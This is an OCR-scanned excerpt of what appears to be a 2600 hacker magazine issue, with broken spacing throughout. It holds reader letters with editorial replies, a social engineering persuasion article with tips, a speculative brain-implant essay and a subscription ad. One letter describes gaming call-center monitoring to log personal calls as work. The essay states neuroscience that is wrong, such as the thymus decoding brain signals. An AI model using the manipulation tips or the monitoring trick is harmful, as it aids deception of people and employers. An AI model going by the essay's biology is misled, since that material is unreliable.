i n  the book bu t  doesn 't check the name  on  it. 

If No rthwestern does this and c lai ms  to be the tenth 
la rgest private university li bra ry in the country, then I 
imag ine  other college libraries are doi n g  simi la rly i n se­
cure thi ngs  with thei r  book recei pts a n d  self checkout. 

Nick B.  

Offenses 
Dear 2600: 

Yesterday I frequented Barnes a n d  N oble a nd  picked 
up  a copy of your magazine .  I went and g rabbed a coffee 
a nd  sat down and  sta rted to read .  I got to the secti on on 
readers '  letters a nd  happened to read one  from someone 
who was upset because of the way you had  associated 
Taiwan with the Republic of Ch ina .  This did n 't upset me 
too much .  I thought it was j ust a case of po litical  cor­
rectness. But when I saw on  the back page a phone  in 
Syria with the words Axis of Evi l I was extreme ly upset. I 
thought your magazi ne  was wise to the world as fa r as  
polit.i ca l  pa rties .  Obviously you r  magazi ne  i s  a lot more 
closed minded than I thought. 

Stuart 
Yeah, you got us. We tend to blindly follow what our 

government tells us so when we heard that there was an 
Axis of Evil we naturally believed it  without question. It 
is now our understanding that they don 't actually ca ll 
themselves that. We owe it to astute readers like you to 
set us straight. Oh and for the record, Ta iwan and the Re­
public of China are the same place. But the last thing we 
want to do is start talking about that  again. 

Dear 2600: 
I am very disappoi nted by you r  response to H siao­

L ing l.i ao ( 2 2 : 2 ) .  What ha ppened to you r  rh etori c' " . . .  we 
have a history of not b li nd ly accepti n g  what we're told. " 
(page 5, li n e  12 ,  20 :4)  Do you beli eve that ISO 3166-1 
has "Taiwa n ,  p rovi nce of Ch ina"  for scientific reasons? I 
ca n assure you that it is from political  p ressu re from the 
Ch inese government. Isn 't it i ron ic  that we hackers use  
extra effort to fi lter  what the U . S .  gove rnment tells us ,  
but take i n  what the govern ment of Ch ina  says without 
th ink ing?  

Yes, we Taiwanese, fighti n g  aga inst Chi na  imperia l­
i sm (they claim to be soci a lism but behave mo re li ke im­
peria li sm) ,  understand  that  ISO 3166-1  i s  the sou rce of 
misinformation  a n d  we a re fighti n g  on that front too. 
Taiwan is not so stupid as  to call itself a p rovi nce of an ­
other  country. 

You a re fu lly responsib le for the content on  you r  
website, even though y o u  a r e  n o t  exactly responsible for 
how Taiwan is officia lly designated . I checked it just now 
(http :;/www. 2600 .com/phones/newi n dex. khtml? region  
.. �asia) a n d  you a re sti l l  usi n g  that  i n su lti n g  suffix 
despite your li p service in 2 2 : 2 .  

Label Taiwan as  "Taiwa n . "  Do not act li ke the coward 
Google :  they removed the i n su lti n g  suffix when faci ng 
massive protest from Taiwanese n etizens but reverted 
after p ressu re from the Ch inese government who th reat­
ened to block Google from the search engi ne  market i n  

Ch ina .  Sad ly, Google i s  not t h e  o n ly o n e .  Many U . S .  
corporations  do the same when faci n g  th reats from 
Ch ina .  

Keep  up  the  good work  a nd  use your  i n dependent 
thi n ki n g  - not o n ly i ndependent from the U . S .  govern­
m ent, but from other governments as well! 

(Google has  changed thei r  map .goog le .com and re­
m oved the offend ing  suffix when sea rch i ng  for "Taiwa n , "  
so I will no  longer  call t h e m  cowa rd . )  

Ti m Taiwanese Lii m  
N e w  Jersey 

We all knew it was inevitable that  2600 would wind 
up in the middle of this conflict. But let's get a few things 
straight from the outset. We are not referring to Taiwan 
as "Taiwan, province of China. " We are merely accessing 
an official list of countries and that  list happens to be 
worded in this manner. The mere fact that  Taiwan is rep­
resented at all on the list has annoyed mainland China, 
so it's a bit of a two-edged sword. It would solve nothing 
if we went in and changed our copy of the list and it 
would open us up to having to change all of the other 
names that  people have a problem with. Then there 
would be people who have a problem with us changing 
the list. We would then become mired in the world of in­
ternational conflict where we wouldn 't stand a chance of 
addressing those issues that  really matter to us - like fix­
ing the definition of the word "hacker. " The solution to 
the Taiwan issue is to fix the list and if voicing opposition 
in this forum helps achieve that  end, then we're happy to 
be of service. 

There are those in Taiwan, incidentally, who believe 
that mainland China will eventually be reunited under 
the Taiwanese flag. They consider all of the provinces of 
mainland China to belong to the Taiwanese regime. That, 
coupled with the fact that  Ta iwan calls itself the Republic 
of China, gives a much more positive spin to the whole 
"province of China " moniker. It all depends on how you 
define China. But seriously. the one sure way to solve 
this problem is, rather than start a fight with us, to de­
clare independence from the mainland. It may take a 
civil war and several million lives but ISO 31 66-1 will be 
changed. 

Dear 2600: 
I rea lly enjoy you r  mag .  Whenever I go to the States 

I pick it up .  I don 't norma lly write to a mag .  But some­
thi ng  you did recently made me mad.  I read 22 :2 today 
and I was pissed. Answer this questi o n .  What do  you 
sta nd  fo r? Does " Free Kevin "  mean anyth ing  to you? Do 
you see where I a m  goi n g  with this? 2600 a re the biggest 
hypocrites on  the face of the ea rth . I read your message 
that now to attend  any 2600 meeti n g  you need to d ress -
how did you a ll put it - in standa rd formal  atti re. Wow, 
this goes agai n st everyth ing  you fight  for. These meet­
i ngs  a re,  fo r a lack of better  words, "fo r fun , "  to gai n 
knowledge from fellow admi nistrators ( hackers) . It is n ot 
a busi n ess .  It is not chu rc h .  It is not a Fortune  500 com­
pa ny. We as admi nistrators live i n  a cu ltu re that we ca n 
wea r whatever we want. I work at an IT company and  at­
ten d  many m eetings .  My d ress i s  not standa rd fo rma l  at­
ti re . You state that "nobody is excluded" if they comply 
with the guideli n es .  They a re guide li n es ,  n ot rules. And 
u nti l you pay m e  the money that comes with wea ri n g  
standard formal  attire I s ha ll wea r whatever I want to 
a ny 2600 meeti n g  because " nobody i s  excluded . "  I thi n k  
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you a re doi n g  j ust what you a re tryi ng  to fig ht. I wi ll 
conti nue  to read your fi n e  mag for the tech a rti cles but 
n ot for what you stand  for. 

Ramasee 
It's pretty obvious we're going to be getting this kind 

of letter for years to come from people who don 't under­
stand the concept of April 1st in the United States. Con­
sidering we even alluded to it in the issue you cite, we 
don 't really know what else we can do. Humor really can 
be a dangerous implement. 

Dear 2600: 
First of a ll, let me tell you how much I love your mag­

azi ne .  It's been a great joy of mine fo r a lon g  ti me  n ow. 
Also, I don 't have a subscription  because you make more 
money off the stand  price.  Now, a whi le back I decided to 
go to the 2600 m eeti n g  closest to me ( Michiga n )  a nd  
wanted assurance others would do  the s ame .  I opened up  
you r  IRe server a nd  joined #mi2600 .  Upon  rea lizi ng  no  
one  was  there, I p romptly joined #2600,  expecti ng  
knowledge aboundi n g .  Instead ,  I was  met with the m ost 
rude and mean-spi rited attitude I've ever seen .  I i ntro­
duced myself in a very polite manner a nd  was met with a 
person telli ng  me to " shut the f* * *  up or go away. " Nat­
u ra lly, I was befudd led as to why they would tell me such 
a thi n g .  I repLied with mi ldly sa rcastic  com ments a nd  was 
met by more anger  a nd  i n su lts . I realize the world i s  a 
cruel p lace as I have grown up in a bad pa rt of town . De­
spite my efforts of tryi ng  to learn a ll I ca n ,  I 'm met with 
h ate everywhere I go .  I thought you valued the exchange  
of i nformation  a nd  the  pursuit of knowledge.  Shame  on  
you .  

Chad 
Shame on us? Oh, please. You can 't possibly expect 

an IRC channel to represent anything other than a group 
of people spouting forth whatever is on their minds. 
Sure, we like to have intelligent people in the #2600 
channel on irc. 2600. net since it's our flagship channel. 
But it's impossible - and undesirable - to constantly mon­
itor and control the flow of conversation. That means 
that idiots and assholes appear from time to time and at­
tempt to get attention by being offensive, loud, or just 
pla in stupid. It happens. They are actually less annoying 
than people who take it all 50 seriously. You ha ve to 
learn to weed out the morons and listen to those individ­
uals who actually have something to say. They exist in 
great numbers. But please remember that it's just a gath­
ering of people who decided to join an open channel. Oc­
casionally there may be a 2600 staff member or writer in 
the channel as well but we're often busy dealing with 
other more urgent matters. So get back in there and 
make the channel a better place rather than issuing con­
demnations and slinking away while muttering to your­
self. You 'll feel better. 

Incidentally. it's not a given that we make more 
money from newsstands than we do from subscriptions. 
It depends on a variety of factors and a whole list of ex­
penses that goes into the maintenance of each form of 
distribution. We think you 're best off just doing what's 
convenient for you and hopefully that will result in posi­
tive figures everywhere. 

On The Inside 
Dear 2600: 

I rea lly enjoyed XlogicX's a rti cle about man ipu lati n g  
the call center systems i n  2 2 : 3 .  I thought I ' d  s ha re one  of 

my call center experi ences.  
I used to work at a government call center ta ki n g  in­

bound calls .  I ca n 't rem ember the name of the call center 
monitori n g  equi pment but our phone  system was Erics­
son .  The phone  system a llowed us to either  take an i n ­
comi n g  call o r  make a n  outgoi n g  ca ll (one  button  for 
each li n e  type) . 

If the outgoi n g  li n e  was open ,  however, you could 
press the i n comi n g  li n e  button  a nd  make a second  out­
goi ng  call. Because it was on the i n coming  Li n e  pa rt of 
the equi pment, the m onitori ng  system showed this as  
bei ng  a n  i n coming  ca l l  ( even though  it was outgoi n g ) .  

So basica lly I opened an  outgoi ng  li n e  usi n g  the out­
going Li n e  button .  Then opened another outgoi ng  li n e  
usi ng  t h e  i n coming  li n e  button .  Then closed t h e  origi na l  
outgoi ng li ne  button .  

This then a llowed me  t o  ri ng  m y  mates a n d  spend 
hours on  the phone to them whi le racki ng  up  "i n comi ng "  
ti me on the monitori n g  system .  I got the award for best 
employee of the month (most i n coming  ca l Ls received) ,  
fo r spending the whole month ri ng ing  my mates .  N ice !  

The trick  is  to get  fri end ly with you r  supervi sor and 
have h im show you h ow the monitori n g  equipment works 
and what i nfo rmation  it captures. 

RustyOld Boat 

Dear 2600: 
I am from New Zea la nd .  U nti l recently I h ave been 

worki ng  fo r Rastafa ri a n  G reen Pa rty Member of Parlia­
ment Nandor  Tanczos. One of his portfo li os was IT and I 
was his advi sor. I am an avid reader of you r  magazi ne, 
not j ust because it is exceptiona lly i nteresti n g  but a Lso 
beca use it was a source of support fo r someone tryi ng  to 
push the li nes with in  "the i nstituti o n . "  Anyway, the Na­
tional Business Review, our  right  wi ng  as fuck newspa­
per, j ust wrote a big a rticle s lagging the Green Pa rty off 
fo r their support of ass and  I got dragged back in to 
help write a response .  2600 got a mention so I thought 
I 'd let you know a n d  take the oppo rtunity to tha n k  you 
fo r al l  the  support you gave me  over the last th ree years. 
Who knows, I may even have ti me to write a n  a rti cle for 
you about i nstitutiona l  hactivism ! 

xoxo 
We always welcome articles from those who are 

somehow inside the system. It's good to know our words 
have managed to penetrate from so far away. 

Discovery 
Dear 2600: 

If you ' re feeli ng  a little bored,  go to Google ,  type i n  
"fai lure" , t h e n  cli ck  on  "I 'm FeeLi ng  Lucky." I 'm g Lad 
Google is  on ou r  side (that is ,  i f  you  don 't ag ree with 
Bush ) .  

Tat 
As Google has already explained, this is not because 

of anything they did but rather due to a phenomenon 
known as googlebombing. In their words "a number of 
webmasters use the phrases [failure] and [miserable fail­
ure] to describe and link to President Bush 's website, 
thus pushing it to the top of searches for those phrases. " 
If you click on "Go ogle Search " instead of "I'm Feeling 
Lucky" you 'll see a link to the full explanation on the 
right hand side of the page. As an exercise, let's all see if 
we can make the word "maniac" go to http://www. white 
-house.gov/vicepresident/vpbio. html. 
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by subphreeky 
subphreeky@yahoo.com 

Soci a l  psych o logy i s  essentia lly the branch of 
psycho logy that studies the behavi o r  of i n dividu­
a ls as  they i nteract. Th i s  i s  not the  same as soci­
o logy, which i s  essentia lly the study of h uman  
behavio r  i n  g roups .  Soci a l  psycho logy can be es­
peci a lly i n teresti ng  when relati n g  to soci a l  engi ­
neeri n g ,  as much  of the  study of soci a l  
psycho logy dea ls with why a n d  how humans  a re 
ab le to i nfluence one  a nother, both as i n divi dua ls 
a n d  as groups .  

E lements of persuasive com mun ication  fa ll 
i nto th ree ma in  categories :  the cha racteri sti cs of 
the speaker, of the message, a n d  of the lis­
tener(s}. 

Of the characteri sti cs of the  spea ker, credibil­
ity is o ne  of the  mo re i mportant persuasive fac­
tors. The spea ker m ust be a credi b le source of 
i nformation  to be persuasive. A lthough  spea kers 
with low credi bi lity wi ll be less persuasive at fi rst, 
they ca n often i nfluence thi n ki n g  a n d  behavio rs 
over a longer  period  of ti me  t h rough  a phenome­
non  ca lled sleeper effects (this ca n be close to a 
persistent naggi n g  type i nfluence) . Spea kers a re 
genera lly mo re persuasive when they a re physi­
ca lly p resent with a n  aud ience .  This may p resent 
obvious  diffi cu lti es when attem pti n g  to soci a l  en­
gi n eer a n  aud ience over the  telephone  a nd/or 
the Internet. The spea ker's i n tent i s  a lso i mpor­
tant. If an i n divi dua l  is obvious ly tryi n g  to 
change  a n  opin ion  or behavi o r, the  speaker  wi ll 
be less persuasive. Ca re must be taken by the  
speaker  so that the  li stener(s )  do  n ot feel  that 
they a re bei n g  taken advantage of in a ny way. 
H umans  have a natu ra l desi re ( a lthough  n ot a l­
ways a tendency) to trust other h uman s .  If trust 
i s  broken by the speaker in any way, the speaker 
wi ll be less persuasive. In gen era l, authority fig­
u res ca n be persuasive to a degree (perhaps ou r  
president  ca n be considered a n  excepti o n ) .  

Fi rst imp ressi on s  o f  the  spea ker a re very im ­
portant to  the  li stener(s) . Fi rst imp ressions  a re 
a lso known as the  primary effect. The p rima ry ef­
fect wi ll be different from li stener  to li stener, a s  
two people wi ll perceive the sa m e  person  differ­
ently, mai n ly beca use of differen ces in i nterp ret­
i n g  the i n divi dua l's  traits . Attractiven ess ca n be 
impo rta nt for the  spea ker, especia lly as the first 
imp ressi on  i s  wei g hed by the li stene r. In the end ,  

h owever, p hysica l attractiveness of the spea ker 
genera lly o n ly determi n es persuasiveness when 
deali n g  with relatively minor  i s sues .  I t  s hou ld be 
impo rtant to remember  that when a fi rst imp res­
sion  i s  made by the speaker, negative i n formati on  
i s  genera lly weighed mo re than  positive i nforma­
tio n  i n  person percepti o n .  

T h e  second  element o f  persuasiveness i s  t h e  
message.  This i s  probab ly the  element o f  persua­
sive com m unication  that the  spea ker has the 
most control of when soci a l  eng ineeri n g .  Emo­
tio na l  appea ls a nd  two-sided a rg u ments a re the  
two ma in  characteri sti cs of the  message that  de­
termi ne  persuasiveness .  Of emotiona l  appea ls ,  
fea r tends  to be the most persuasive emoti ona l  
trait of a message. However, the li stener(s)  typi­
ca lly o n ly respond  favorab ly to fea r if  (1) emo­
tio n a l  appea l is strong ;  ( 2 )  the  listener(s )  beli eve 
that the  fea rfu l outcom e  is li kely to happen to 
them;  a nd  ( 3 )  the message, or o utcome  of the  
m essage, offers a way to avoid the fea rfu l out­
come .  Rega rdi ng  two-sided a rg u ments, when 
com m u ni cati n g  to  a n  a ud ience that  i nitia lly 
ag rees with the spea ker's positi o n ,  the spea ker 
wi ll gen era lly be mo re persuasive if  both sides of 
the a rg ument a re not p resented . H owever, when 
com m un icati n g  to  a n  aud ience that i s  i nitia lly un ­
favorab le to  the spea ker's positi o n ,  both si des o f  
the a rgument shou ld be p resented . As a n  i nter­
esti n g  n ote, logic i s  n ot n ecessa ri ly an i m portant 
facto r in determi n i ng  a message's persuasive­
ness .  

The thi rd element of persuasive com m u ni ca­
tio n ,  and the  element that the  spea ker has the  
least contro l  over, i s  the  li stener(s ) . In genera l, 
less i ntelligent people wi ll be easi er  to persuade .  
O n  the  other hand ,  if  the  message i s  mo re com­
p lex, mo re i ntelligent li steners a re easi er to per­
suade .  Also, people with a n eed fo r soci a l  
app rova l and/or low self esteem a re often easier 
to persuade .  An impo rtant factor of the li s­
ten er(s)  that the speaker may have some contro l 
over is that people a re easier  to persuade when 
listen ing  to a message i n  a g roup .  La rger g roups  
a re easier  to  persuade than  sma ller g roups .  The  
mai n  reason for th i s  i s  confo rmity. 

Remem ber, soci a l  eng in eeri n g  i s  n ot some­
thi ng  that ca n be lea rned and used overnig ht. 
M uch practi ce and experience i s  n eeded to be­
com e  a s ki lled soci a l  eng ineer. Remem ber too 
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not everyone  is meant to be a s ki lled soci a L  
eng in eer. A few he Lpfu L ti ps :  

• Have you r  enti re message p La n ned out. The 
mo re detai Led you r  message is ,  obvious Ly the  
mo re beLi evab Le it wi ll be .  I f  necessa ry, write 
down what you want to com m un icate on paper, 
a n d  a llow m uch room  for hypothetica L  situati on s .  

• I f  you a re with a g roup  of friends ,  p i c k  out 
the person that has  smooth soci a L  a nd  com m u ni ­
cati o n  ski lls, i s  a fluid spea ker, a n d/or i s  some­
one  whose appeara n ce is n ot too fa r out of Li n e  
with the soci a L  no rm (fo r  exa mp Le, the  fri end  
with a th ree foot pu rp Le a n d  g reen mohawk and  
faci a L  pierci ng s  wi ll be Less persuasive i n  person 

than the fri end  with niceLy com bed ha i r  and a 
suit) . So be su re to pick the ri g ht fri end  fo r the 
right  job .  

• Understa nd  a LL of the e Lements that come 
i nto p Lay with the  com m un icati on s  medi um  that 
you a re usi n g .  Thi n k  befo rehand  about what a nd  
how  you  want t o  say somethi ng  i n  reLation  t o  be­
ing on  the teLephone ,  in person ,  on  the Internet 
etc. 

• First imp ressi on s  a re vel}' i mportant when  
tryi ng  to  soci a L  engi n eer  a n  aud ience .  

• Remember, the  a rt of soci a L  engi n eeri n g  i s  
j ust that  - a n  a rt. 

The Real Electronic 

Bra.ih".Jmplantation Enhancement 
by Shawn Frederick 

waxycast@hotmai L.com 
I am not a medica L  doctor, no r  does my back­

g round  i n  sci ence reflect much  neu ro Logy. I a m  
h owever a scienti st, a n d  currently work for two 
different Laboratories .  This a rti cle wi LL offer  i n ­
fo rmation  on  the  factua L a n d  ideaListi c  concept o f  
e Lectron ic  i m p la nts worki n g  fo r o r  a Lo ngside  the  
bio Logica L  ne rvous system and  b rai n of man .  To 
keep the attenti on  of my audience I wi ll do  this 
with as mi n ima L  bio Logica L  worki ng s  (no mo re 
then h igh  schoo L  bio Logy) as possi b Le .  The theo­
ries a re my own . 

The Human Brain 
Computers o n Ly reLy on  the Laws of Boo Lean 

mathematics whi le the bio Logica L makeup of 
man 's b rai n fo llows the  Laws of p hysi cs. There a re 
mo re chemica Ls i n  the  h uman  b rai n that modern  
medici n e  does n ot u n derstand  o r  know of than  
there a re those  which a re u nderstood .  These 
chemica Ls ca n be  responsib Le fo r such things as 
a nger, happ iness,  and even thi rst; they a lso a re 
responsi b Le fo r i nvoki n g  Long  and  s ho rt-term 
memory. The h u m a n  b rai n i s  extremeLy compLex, 
but what if it were broken down i nto a mo re si m­
p Li sti c system that resemb Led computer fu n ction ­
a Lity? 
Human memol}' (database) 
Cerebellum or thymus (the browser/sea rch engine) 
Human a wareness (a rtifi cia L  i nteLLigence) 

The Database 
There a re a few different theories on h ow 

the  b rai n ' s  memory (database) works .  For the 
pu rposes of  a s ho rt a rti cle we wi LL focus o n  the  
mo re popu La r  theories .  S hort-term memory i s  
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descri bed as  the  m ind  ho Ldi ng  a thought  via a n  
eLectri ca L ci rcuit. As Long  as the ci rcuit i s  conti n ­
u ed  the  memory ca n be heLd .  I f  i t  i s  conti n uous Ly 
sti m u Lated the  s ho rt-term memory may then 
tra nsform to permanent memory where the hu­
man  b rai n physica LLy changes its shape .  I t  i s  be­
Li eved that the b ra in  stores i n formation  on  the 
ceLLu La r  Level .  With a l l  the different theori es 
there a re a bout h ow the  b ra in  actua lly works, the 
truth i s  that n o  one  knows for su re how it rea lly 
fun ctions .  Medici n e  has  a genera L  i dea of the 
mind ' s  mysterious  mechanics, b ut sti LL i s  c loser to 
uniti n g  quantum p hysics with Ei n stei n ' s  classic 
physics (this i s  a j o ke ) .  

The Browser Offers Info 
to Human Awareness (AI) 

Whereas science has  a grasp on how the b ra in  
essentia LLy works ,  we a re sti ll i n  the  dark  as fa r as 
understand ing  h uman  consciousness .  Fo r exam­
p Le :  2+2=4. Yes ,  a computer ca n teLL you  th i s  a nd  
yes, i t  reacts a certai n way based o n  a n  a nswered 
vaLue. Fo r h uman s  h owever it's mo re than  j ust 
BooLea n .  H ow does one  understa n d  a nd  man ipu­
Late the meani ng  of a n u m ber o r  creativeLy envi­
sio n  a nd  pa int  a pictu re? Th is  a rti cle i s  n ot aski ng  
the  age-oLd questi o n  "what does it a L L  mean "  but 
mereLy acknowLedgi ng  that i n  a LL its obviousness 
h uman  awareness wi ll p Lay a La rge roLe in the 
ti mes of b ra in  imp La ntati o n .  

B ro ken down  as  si mp Ly as possi b Le,  the cells 
of one's brain h o Ld i n fo rmati o n .  The cerebeLLum 
is  the command  center and Let's say it's beLieved 
to retri eve the needed i n formatio n  you r  b ra in  
ceLLs (database) a re ho Ldi n g .  It  then b rowses us­
i n g  a type of "search eng ine"  and ,  with the  i n fo r-
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mation  found ,  offers it up to the h uman  con­
sciousness (AI ) .  H u mans  a re sti LL very p ri mitive; 
some a re r unn i ng  Internet Explorer and Netscape  
whi le others a re usi n g  Fi refox o r  Lynx .  The truth 
of the matter i s  that from the most superi o r  ge­
ni uses at NASA to the menta LLy i m paired, the dif­
ference is a lmost none  when loo ki ng at the  vast 
picture. Ki m Peek i s  a p ri m e  exa mp le of th i s .  

At  th is  moment  and  ti me it ' s  i m possi b le to sci­
entifica lly explai n h uman  awa reness,  but some 
refer to it as  the  sou l. It  i s  li n ked to creativity and 
free wi ll. Human awareness i s  o n ly as  good as  the  
"database" a nd  " b rowser" one  has .  

The a n a logy of quantum p hysics meets Ei n ­
stei n ' s  classi c p hysi cs was  u sed  once a lready i n  
th is  a rti cle a nd  seems  fitti ng  to use aga i n  talki n g  
about the  "b rowser" o f  t h e  h uman  b rai n offeri ng  
i n formati o n  up  to  h uman  awareness .  There a re a 
few good theories on the  medica l  exp la nation  of 
h uman  awareness but I recommend  Fra n ci s  
Crick ' s  Astonishing Hypothesis: The Scientific 
Search for the Soul if interested .  

Humans Interact with the Mattered Universe 
The most adva n ced brai n -d riven mechan ica l  

i n struments w e  have a re a few robots a nd  e lec­
troenceph a logram mach i nes .  I a lso have read 
that the  mi lita ry has  VR that i m p ri nts images di­
rectly o n  one' s  reti na (diffe rent subject) . As cool  
as  the  b rai n -d riven robots and EEG mach ines a re,  
these tech no logies have little room fo r adva nce­
ment a nd  a re rea LLy no better than  a mood ri ng .  
The tec h no logy rea cts to  h uman  e lectri ca l  sti m u­
lati o n .  What is rea lly needed is to be ab le to thi n k  
a thought  o r  a n u m ber and  have i t  a p pear on  a 
computer screen , enhanci n g  one' s  i nte llect by 
p hysica LLy jacki n g  i nto or wi relessly j u m pi n g  onto 
the  Internet. Un fo rtunate ly the "code" of the  h u­
man  m ind  must be cracked befo re we can truly 
see any b rai n i m p la nts or VR worth obtai n i ng .  

How I Believe I t  Wi ll Come To Pass 
H ow do we as  h uman s  fee l  the soft touch of a 

woman  or i nteract with the surround i ng  world of 
matter that we live i n ?  In order to react and com­
p rehend  the  matter  of the  un iverse, we have e lec­
trical  i m p u lses a nd  chemica ls that flood our b rai n 
at any given ti me .  But b ro ken down it looks  li ke 
th is .  
Peripheral  Nervous System 
Central Nervous System 
Brain 

The peri p h era l nervous system con nects the  
CNS  a nd  the  b rai n .  Thei r  worki n g  together  i s  the 
o n ly way h u man s  un dersta nd  textu res of the  
world i n  wh ich  we live. When  p rogra m ming  a 
computer one  feels the  keys beca use a chemica l  
i s  released,  read  b y  recepto rs, a n d  e lectri ca l i m ­
p u lses passed from n o d e  t o  n o d e  t o  t h e  spi n a l  
co rd . The message i s  then sent and  encoded j ust 

befo re or in the  b rai n .  I use the  wo rd encoded 
beca use the  spi n a l  cord doesn 't  tel l  the  brai n 
that the  PNS is fee li n g  a rough  or cou rse textured 
su rface.  From my un derstand i ng  it i s  a ll sent via 
a n  e lectron ic  bi ochemica l  reacti on  that trave ls 
nodu le to nodu le on the  axons .  The message 
m ust be coded unti l  t he  brai n gets the i nfo a nd  
ca n expla in  or  "decode" wha t  i s  electronica lly be­
i n g  sent. I wi LL add to this that the electri ca l  
mode  of  tran smitted i nfo rmati on  i s  actua lly bio­
chemica l. The e lectri ca l  i m p u lses (the j ump i ng  
from node  to  node) a re sta b le unti l  reacted upon .  
An i m p u lse i s  produced chemica lly from an  i n ­
verse reacti on  o f  natura lly cha rged atoms  of 
Potassi um  ( K) a nd  Magnesi u m  (Mg ) ,  which a re 
cat i o n s  (positive cha rged)  with a few an ions  
( n egatively cha rged) C h lo ri de  (C l) a nd  bica rbon­
ate  ( H COA3 ) .  The electri ca l cha rge i s  si gn ifi cant  
to the  aud ience of th is  a rti cle. 

B ra in  + h uman  awa reness + nervous + muscu­
la r and s ke leta l system = acti on  upon matter. 
Anythi ng  e lse reacted upon  or observed i n  ou r  
u niverse i s  p h oton ic  ( n othi ng  mo re than  li g ht 
p h otons  bounci n g  off matter) or sound waves 
(matter is o n ly u nderstood to the b rai n when it 's 
to ld e lectronica LLy) . H u man  awareness, sou l, AI, 
consciousness,  whatever you wi ll caLL it i s  needed 
fo r u ndersta ndi n g  the p rocessed/decoded i n for­
mati on  - that a picture on  the wa ll i s  a picture 
a n d  not j ust a bunch  of bounci n g  p hotons .  

The Day of  Brain ImpLantation 
If h uma nity does not destroy itself fi rst there 

wi LL be a day that e lectron ic  i m p la ntation  wi ll be 
as  natura l as  h uman  sexua lity. But the most b ri l­
liant  of hackers could n 't develop an imp lant  with 
the  g reat potentia ls that have been discussed . A 
program med i m p lant  i nteracti n g  si m u lta neous ly 
with the  nervous system a nd  m ind  wou ld be a 
true feat, done  by a tea m of doctors, resea rch sci­
enti sts, and p rogram mers .  When b ra in i m p la nts 
come to pass they wi ll need to be i m p la nted 
where the spi n a l  cord meets the brain (fo ra men 
magnum ) .  This i s  be li eved to be t rue  based on  
knowledge that  i n fo rmati on  i s  e lectronica lly sent 
and possi b ly i nterpreted i n  that general  a rea .  

Obvious ly any i m p lant  created could not be 
plug and p lay. Every i n divi dua l  i s  un ique i n  the 
way h i s  o r  her  b ra in  works,  both biochemica lly 
a n d  e lectri ca lly. The future i m p lant  wi ll not o n ly 
h ave to someti mes s ha re or piggyback off the  
e lectri ca l  impu lses that a re bei n g  sent  via the  
s pi n a l  cord .  It  would either  h ave to  mani p u late 
the s pi n a l  cord or use it a n a logica lly li ke a USB  2 
cord .  The futu re may a llow advancement to by­
pass the  spi n a l  cord comp letely, sendi ng  its elec­
tri ca l  messages di rectly to the "decoder" 
( possi b ly thymus)  of the  b rai n ,  then on to the 
"b rowser. " The i m p lant  would need to do th is  
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whi le th ree other pa rts of the  imp lanted device 
si m u lta neous ly worked on the b rai n .  One  pa rt 
wou ld be located deep i n  the b rai n ,  a n other  
wou ld s i t  i n  the  center of the  spi n a l  co rd , and  a 
thi rd would sp ider  a ro u nd  the  da rk  a n d  li ght  mat­
ter of the b rai n sensi n g  a n d  identifyi ng  the  
chemica l  changes h appeni ng  there. The fi rst im ­
p lant  wou ld o n ly be ab le to  hook  up  to  a n  exter­
n a l  com puter with a specia lly developed b rowser  
a n d  sea rch engi n e .  When  a person i s  a s ked a 
q uesti on  the im p lant  would scan the  b rai n ce lls 
fo r an a n swer, d isp layi n g  it on the screen .  

Techno logy then would adva nce s o  that i f  o n e  
di d n 't have the  i nfo rmati on  stored somewhere 
with i n  the  b rai n cells it would search a n  o n li n e  
database fo r t h e  correct response .  T h e  Inte rnet 
wou ld be better  p rotected than  j ust SSL.  And  if  
n ot the Internet, then  a n  Inte rnet type of system 
where people 's b rai n s  would be li n ked from birth 
in groups of h u n d reds fo r thei r  enti re lives. After 
a ll, h u n d reds of b rai ns  worki ng  together  i s  better  
then  one .  In ti me  a computer screen would be ab­
so lute. A pa rt of the  reti n a  would be dedicated to 
com puter i n fo ( soon t he re wi ll be a contact len s  
that d isp lays t h e  time  a n d  date fo r t h e  i n divi dua l  

wea ri n g  it wh i c h  s hou ld do  away with watches) . 
Problems With Brain Implants 

As most testi n g  goes,  it wi ll start out i n  a la b­
o ratory o n  some an ima l, mo re than  li kely ch imps .  
It's sca ry  because we a re a p ri mitive species .  
There i s  n o  doubt that no  sooner wi ll we di scover 
h ow to create such a device than  someone  wi ll 
use it fo r the wo rst possi b le thi n g  imagi n ab le .  

I t  wi ll be advertised as a ha rm less monitored 
envi ro n ment. But how can a nyon e  be s u re that he 
o r  she i s n 't bei n g  used o r  man ipu lated? Evo luti on  
i s  responsi b le fo r e n han ci n g  man ' s  m i nd  a n d  con ­
tro lli n g  it chemica lly a n d  electron ica lly. Imp la nts 
wi ll be com m o n ly used unfo rtunately. There wi ll 
be no need fo r memory or fo r us  to use o u r  bi o­
chemica l  m inds  as  nature i ntended .  The h uman  
species wi ll have taken the  role o f  h a lf b io logica l  
h a lf roboti c whi le ou r  b rai n s  evo lve to  mu s h ,  to­
tally useless, a n d  comp letely reli ant  on i m p la nts. 

I hope it doesn 't happen li ke this . But in addi­
ti o n ,  there i s  the  prospect of genetic e n h a nce­
ments in m a n ki nd ' s  evoluti ona ry future. That i s  a 
who le different a rti cle but offers the  sam e  won­
ders a nd  terro rs .  

Was it rea l ly worth what you had to go 
th rough to get you r  ha nds on th i s  i ssue? 

D id  you have to d rive a huge d i sta nce or  ta ke a long 
r ide  on mass tra n s it to get to  the  o n ly p lace a round  that 
had i t  in stock? Did you lose  a fr iend by fur ious ly  f ighti n g  over 
the last copy? Or  i s  it maybe d r ivi ng  you c razy knowi ng  that  eac h  
i s s u e  you b u y  at  a store costs a few pen n ies extra tha n i f  you h a d  
i t  s e n t  r ig ht  t o  you r  home/ off ice/ pr i son?  Doesn 't s u bsc r ib i ng  seem 
l i ke a good idea? Of cou rse i t  do�s ! 

,��:' �� 

There a re two easy ways to s u bscr ib� . You ca n go to o u r,. l i ne 
store ( sto re . 2600 .com)  a n d  use you r  c red i t  ca rd .  Or you ca�  se 
$20 ( U . S . )  to 2600, PO Box 752 ,  Midd le  I s l a n d ,  NY 1 1 95 3 .  I f  
you ' re oversea s ,  m a ke that  $30 and add "USA" to  the  add ress .  

What's th i s?  You 're sti l l  no t  s u re?  Perha ps t he  fact t ha t  o n ly 
su bsc r ibers ca n p lace free c lass if ied ads  i n  o u r  Ma rketp lace sect ion 
wi l l  f i n a l ly m a ke you see reason . Yea h ,  we thoug ht so.  
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I have a fri end  (I ' L L  caLL h im Rob)  who  supp Le­
ments his regu La r  i n come with money made from 
the Lottery. He does this i n  two ways - he pub­
Li s hes a n ews Letter wh ich  contai n s  ti ps a n d  " h ot" 
n u mbers, a n d  he i s  a Long-term n et wi nne r  i n  
